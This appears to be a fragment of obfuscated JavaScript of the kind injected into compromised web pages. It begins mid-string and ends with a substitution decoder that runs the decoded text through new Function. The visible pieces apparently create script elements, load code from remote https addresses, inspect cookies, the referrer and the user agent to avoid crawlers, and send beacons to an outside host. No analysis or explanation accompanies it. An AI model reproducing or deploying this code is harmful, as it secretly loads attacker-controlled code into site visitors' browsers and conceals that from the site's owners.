_8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();